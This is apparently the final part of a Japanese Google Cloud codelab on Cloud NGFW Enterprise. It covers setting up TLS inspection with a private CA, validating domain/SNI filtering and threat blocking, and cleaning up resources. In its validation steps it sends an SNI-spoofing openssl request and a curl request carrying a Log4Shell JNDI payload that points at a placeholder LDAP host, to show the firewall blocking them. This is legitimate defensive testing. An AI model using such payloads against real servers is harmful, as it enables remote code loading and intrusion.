gcloud privateca pools add-iam-policy-binding $prefix-CA-Pool --project=$project_id --location=$region --member=serviceAccount:service-$project_number@gcp-sa-networksecurity.iam.gserviceaccount.com --role=roles/privateca.certificateRequester

TLS ポリシーの YAML ファイルを作成します。このファイルには、特定のリソースに関する情報が含まれます。

cat > tls_policy.yaml << EOF
description: Test tls inspection policy.
name: projects/$project_id/locations/$region/tlsInspectionPolicies/$prefix-tls-policy
caPool: projects/$project_id/locations/$region/caPools/$prefix-CA-Pool
excludePublicCaSet: false
EOF

TLS インスペクション ポリシーをインポートします。

gcloud network-security tls-inspection-policies import $prefix-tls-policy --project=$project_id --location=$region --source=tls_policy.yaml

エンドポイントの関連付けを更新して TLS を有効にします。

gcloud network-security firewall-endpoint-associations update $prefix-association --zone=$zone --project=$project_id --tls-inspection-policy=$prefix-tls-policy --tls-inspection-policy-project=$project_id --tls-inspection-policy-region=$region

CA 証明書を取得して、クライアントの CA ストアに追加します。これは、NGFW Enterprise が TLS を確立し、CA プールから署名付き証明書を提示するため、信頼のために必要です。

gcloud privateca roots describe $prefix-CA-Root --project=$project_id --pool=$prefix-CA-Pool --location=$region --format="value(pemCaCertificates)" >> $prefix-CA-Root.crt

CA 証明書をクライアントに転送します。

gcloud compute scp --tunnel-through-iap  $prefix-CA-Root.crt  $prefix-$zone-client:~/  --zone=$zone

VM に SSH で接続し、CA 証明書を /usr/local/share/ca-certificates に移動して、CA ストアを更新します。

gcloud compute ssh $prefix-$zone-client --tunnel-through-iap --zone $zone

sudo mv domain-sni-CA-Root.crt /usr/local/share/ca-certificates/

sudo update-ca-certificates

VM を終了して、Cloud Shell で続行します。

TLS インスペクションのファイアウォール ルールを更新する

gcloud compute network-firewall-policies rules update 300 --action=apply_security_profile_group --firewall-policy=$prefix-fwpolicy  --global-firewall-policy --direction=EGRESS --security-profile-group=//networksecurity.googleapis.com/organizations/$org_id/locations/global/securityProfileGroups/$prefix-spg --layer4-configs=tcp:80,tcp:443 --dest-ip-ranges=0.0.0.0/0 --enable-logging --tls-inspect

TLS インスペクションでルールを検証する

IAP を介して VM への SSH 接続を開始します。

gcloud compute ssh $prefix-$zone-client --tunnel-through-iap --zone $zone

許可された宛先にサンプル リクエストを送信します。

curl https://wikipedia.org --max-time 2
curl https://ifconfig.me --max-time 2

これらは問題なく合格するはずです。証明書を確認して、証明書が NGFW によって署名されているかどうかを確認するには、次のコマンドを実行します。

curl https://ifconfig.me --max-time 2 -vv

予想される出力:

admin@domain-sni-us-west1-a-client:~$ curl https://ifconfig.me --max-time 2 -vv
*   Trying 34.160.111.145:443...
* Connected to ifconfig.me (34.160.111.145) port 443 (#0)
* ALPN: offers h2,http/1.1
* TLSv1.3 (OUT), TLS handshake, Client hello (1):
*  CAfile: /etc/ssl/certs/ca-certificates.crt
*  CApath: /etc/ssl/certs
* TLSv1.3 (IN), TLS handshake, Server hello (2):
* TLSv1.3 (IN), TLS handshake, Encrypted Extensions (8):
* TLSv1.3 (IN), TLS handshake, Certificate (11):
* TLSv1.3 (IN), TLS handshake, CERT verify (15):
* TLSv1.3 (IN), TLS handshake, Finished (20):
* TLSv1.3 (OUT), TLS change cipher, Change cipher spec (1):
* TLSv1.3 (OUT), TLS handshake, Finished (20):
* SSL connection using TLSv1.3 / TLS_AES_256_GCM_SHA384
* ALPN: server did not agree on a protocol. Uses default.
* Server certificate:
*  subject: CN=ifconfig.me
*  start date: Sep 20 07:05:42 2025 GMT
*  expire date: Sep 21 06:58:10 2025 GMT
*  subjectAltName: host "ifconfig.me" matched cert's "ifconfig.me"
*  issuer: CN=Google Cloud Firewall Intermediate CA ID#5226903875461534691
*  SSL certificate verify ok.
* using HTTP/1.x
> GET / HTTP/1.1
> Host: ifconfig.me
> User-Agent: curl/7.88.1
> Accept: */*
> 
* TLSv1.3 (IN), TLS handshake, Newsession Ticket (4):
< HTTP/1.1 200 OK
< Content-Length: 10
< access-control-allow-origin: *
< content-type: text/plain
< date: Sat, 20 Sep 2025 07:05:43 GMT
< via: 1.1 google
< Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000
< 
* Connection #0 to host ifconfig.me left intact
x.x.x.x

上記の出力では、受信した証明書が以前に作成したルート CA によって署名されているため、リクエストが NGFW Enterprise によって TLS 検査されていることがわかります。(発行者フィールド)

TLS インスペクションで SNI のスプーフィングを試みるルールを検証する

TLS インスペクションが有効になったので、動作を検証しましょう。

次の openssl コマンドを実行して SNI をスプーフィングします。

openssl s_client -connect www.google.com:443 -servername ifconfig.me

予想される出力:

CONNECTED(00000003)
write:errno=104
---
no peer certificate available
---
No client certificate CA names sent
---
SSL handshake has read 0 bytes and written 317 bytes
Verification: OK
---
New, (NONE), Cipher is (NONE)
Secure Renegotiation IS NOT supported
Compression: NONE
Expansion: NONE
No ALPN negotiated
Early data was not sent
Verify return code: 0 (ok)
---

上記の出力では、以前は機能していた SNI スプーフィング リクエストが、TLS インスペクションが有効になると失敗することがわかります。これは、TLS インスペクションが有効になっている場合、NGFW が SNI をサーバー証明書のサブジェクト代替名(SAN)と照合するためです。一致しない場合は、TLS handshake が失敗します。

TLS インスペクションによるドメイン / SNI と脅威防止の検証

ここで、許可されたドメインに対する悪意のある(log4j)リクエストのテストを再度実行します。

許可されたドメイン/SNI の宛先に悪意のあるサンプル(log4j)を送信します。

curl -s -o /dev/null -w "%{http_code}\n" -H 'User-Agent: ${jndi:ldap://123.123.123.123:8055/a}' https://www.eicar.org --max-time 2 

予想される出力:

000

この 000 レスポンス コードは、脅威が検出されたため、NGFW によって接続が終了したことが原因です。詳細な出力を収集して確認できます。

curl -s -o /dev/null -w "%{http_code}\n" -H 'User-Agent: ${jndi:ldap://123.123.123.123:8055/a}' https://www.eicar.org --max-time 2 -vv

予想される出力:

*   Trying 89.238.73.97:443...
* Connected to www.eicar.org (89.238.73.97) port 443 (#0)
* ALPN: offers h2,http/1.1
} [5 bytes data]
* TLSv1.3 (OUT), TLS handshake, Client hello (1):
} [512 bytes data]
*  CAfile: /etc/ssl/certs/ca-certificates.crt
*  CApath: /etc/ssl/certs
{ [5 bytes data]
* TLSv1.3 (IN), TLS handshake, Server hello (2):
{ [122 bytes data]
* TLSv1.3 (IN), TLS handshake, Encrypted Extensions (8):
{ [6 bytes data]
* TLSv1.3 (IN), TLS handshake, Certificate (11):
{ [3423 bytes data]
* TLSv1.3 (IN), TLS handshake, CERT verify (15):
{ [80 bytes data]
* TLSv1.3 (IN), TLS handshake, Finished (20):
{ [52 bytes data]
* TLSv1.3 (OUT), TLS change cipher, Change cipher spec (1):
} [1 bytes data]
* TLSv1.3 (OUT), TLS handshake, Finished (20):
} [52 bytes data]
* SSL connection using TLSv1.3 / TLS_AES_256_GCM_SHA384
* ALPN: server did not agree on a protocol. Uses default.
* Server certificate:
*  subject: CN=www.eicar.org
*  start date: Sep 20 07:50:20 2025 GMT
*  expire date: Sep 21 10:41:22 2025 GMT
*  subjectAltName: host "www.eicar.org" matched cert's "www.eicar.org"
*  issuer: CN=Google Cloud Firewall Intermediate CA ID#4044393130040997148
*  SSL certificate verify ok.
* using HTTP/1.x
} [5 bytes data]
> GET / HTTP/1.1
> Host: www.eicar.org
> Accept: */*
> User-Agent: ${jndi:ldap://123.123.123.123:8055/a}
> 
* Recv failure: Connection reset by peer
* OpenSSL SSL_read: Connection reset by peer, errno 104
* Closing connection 0
} [5 bytes data]
* Send failure: Broken pipe
000

上記から、NGFW が TLS インスペクションを実行し、悪意のあるリクエストをブロックしたことがわかります。

VM を終了します。

exit

クリーンアップの手順については、次のセクションに進んでください。

19. クリーンアップ手順

基本セットアップのクリーンアップ

インスタンスを削除します。

gcloud -q compute instances delete $prefix-$zone-client --zone=$zone

Cloud Firewall ネットワーク ポリシーと関連付けを削除します。

gcloud -q compute network-firewall-policies associations delete \
     --firewall-policy $prefix-fwpolicy \
     --name $prefix-fwpolicy-association \
     --global-firewall-policy

gcloud -q compute network-firewall-policies delete $prefix-fwpolicy --global

Cloud Router と Cloud NAT を削除します。

gcloud -q compute routers nats delete $prefix-cloudnat-$region \
   --router=$prefix-cr --router-region $region

gcloud -q compute routers delete $prefix-cr --region=$region

予約済みの IP アドレスを削除します。

gcloud -q compute addresses delete $prefix-$region-cloudnatip --region=$region

Cloud Firewall SPG と関連付けのクリーンアップ

次の順序でセキュリティ プロファイル グループと脅威と URL フィルタリング プロファイルを削除します。

gcloud -q network-security security-profile-groups delete \
  $prefix-spg \
  --organization $org_id \
  --location=global

gcloud -q network-security security-profiles threat-prevention \
  delete $prefix-sp-threat \
  --organization $org_id \
  --location=global

gcloud -q network-security security-profiles url-filtering \
  delete $prefix-sp \
  --organization $org_id \
  --location=global

Cloud Firewall エンドポイントの関連付けを削除します。

gcloud -q network-security firewall-endpoint-associations delete \
  $prefix-association --zone $zone

Cloud Firewall エンドポイントを削除します。これには約 20 分かかります。

gcloud -q network-security firewall-endpoints delete $prefix-$zone --zone=$zone --organization $org_id

必要に応じて、次のコマンドを実行して、Cloud NGFW エンドポイントが削除されたことを確認します。

gcloud network-security firewall-endpoints list --zone $zone \
  --organization $org_id

エンドポイントの状態には次の内容が表示されます。

STATE: DELETING

完了すると、エンドポイントはリストに表示されなくなります。

[省略可] TLS のクリーンアップ

オプションの TLS インスペクション構成を続行した場合は、次のコマンドを実行して TLS リソースをクリーンアップします。

TLS ポリシーを削除します。

gcloud -q network-security tls-inspection-policies delete \
  $prefix-tls-policy \
  --location=$region

ルート CA と CA プールを無効にして削除します。

gcloud -q privateca roots disable $prefix-CA-Root \
  --location=$region \
  --pool=$prefix-CA-Pool \
  --ignore-dependent-resources 

gcloud -q privateca roots delete $prefix-CA-Root \
  --location=$region \
  --pool=$prefix-CA-Pool \
  --skip-grace-period \
  --ignore-active-certificates \
  --ignore-dependent-resources

gcloud -q privateca pools delete $prefix-CA-Pool \
  --location=$region \
  --ignore-dependent-resources

サブネットと VPC のクリーンアップ

最後に、サブネットと VPC ネットワークを削除します。

gcloud -q compute networks subnets delete $prefix-$region-subnet --region $region

gcloud -q compute networks delete $prefix-vpc

20. 結論と考慮事項

このラボは非常にシンプルで、インターネットに接続する単一の VM でのみテストします。実際のシナリオでは、VPC に複数のリソースが含まれ、トラフィックはすべての方向(N/S と E/W)に移動します。ドメイン / SNI フィルタリングのファイアウォール ルールは EGRESS 0.0.0.0/0 であるため、「キャッチオール」であり、ネットワーク ポリシーで優先度が最も低いルールとして構成する必要があります。そうしないと、トラフィックが予期せず一致し、デフォルトの urlFiltering ルールに基づいて許可または拒否されます。

また、ネットワーク タイプを使用してスコープを制限することも検討してください。これは、E/W トラフィックがルールと一致しないようにするためです。または、E/W トラフィックに対して優先度の高い許可ルールを作成します。

ドメイン/SNI フィルタリングについて詳しくは、ベスト プラクティスのドキュメントをご覧ください。

21. 完了

これで、ドメインと SNI のフィルタリングとオプションの TLS インスペクションを使用した Cloud NGFW Enterprise が正常に完了しました。